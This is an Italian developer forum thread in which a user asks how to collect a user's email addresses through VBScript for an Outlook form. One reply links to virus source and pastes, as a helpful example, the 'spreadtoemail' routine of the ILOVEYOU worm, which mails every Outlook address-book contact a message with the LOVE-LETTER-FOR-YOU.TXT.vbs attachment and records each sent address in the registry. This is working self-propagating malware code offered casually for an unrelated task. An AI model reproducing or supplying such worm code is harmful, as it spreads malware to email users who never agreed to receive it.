salve a tutti,
vorrei sapere come posso fare a recuperare, via programma, tutte le email di un utente specifico... è possibile fare cio????
salve a tutti,
vorrei sapere come posso fare a recuperare, via programma, tutte le email di un utente specifico... è possibile fare cio????
Bombardare per la pace, è come trombare per la verginità.
C'è qualcuno al mondo che tromba troppo secondo me...
Andrea Medici
Con quale linguaggio?
MARCO BREVEGLIERI
Software and Web Developer, Teacher and Consultant
Home | Blog | Delphi Podcast | Twitch | Altro...
vbscript o vb
Bombardare per la pace, è come trombare per la verginità.
C'è qualcuno al mondo che tromba troppo secondo me...
Andrea Medici
dai qualche dettaglio in più ... e spiegati un po meglio perché la domanda non è proprio chiarissima
The fastest Redis alternative ... cachegrand! https://github.com/danielealbano/cachegrand
Quoto.Originariamente inviato da daniele_dll
dai qualche dettaglio in più ... e spiegati un po meglio perché la domanda non è proprio chiarissima![]()
MARCO BREVEGLIERI
Software and Web Developer, Teacher and Consultant
Home | Blog | Delphi Podcast | Twitch | Altro...
sto facendo un modulo in outlook....
se un utente modifica un dato nel modulo il mio programma manda un email a tutti gli interessati... il problema è che non deve mandare nulla a chi ha modificato il modulo... capito???
Bombardare per la pace, è come trombare per la verginità.
C'è qualcuno al mondo che tromba troppo secondo me...
Andrea Medici
in pratica a te interessa accedere al componente COM esposto da outlook e leggere la rubrica, giusto?
ovvero devi usare le MAPI
dai un occhio a un po di questi link
http://www.msexchangefaq.de/code/mapicdo.htm
qui c'è il codice sorgente di un veccchiiisssssiiiimmmmooooo virus
http://www.kachafackers.galeon.com/code.htm
dai un'occhio a questo spezzone di codice
in buona parte fa quello che ti serve ^^codice:sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub
The fastest Redis alternative ... cachegrand! https://github.com/danielealbano/cachegrand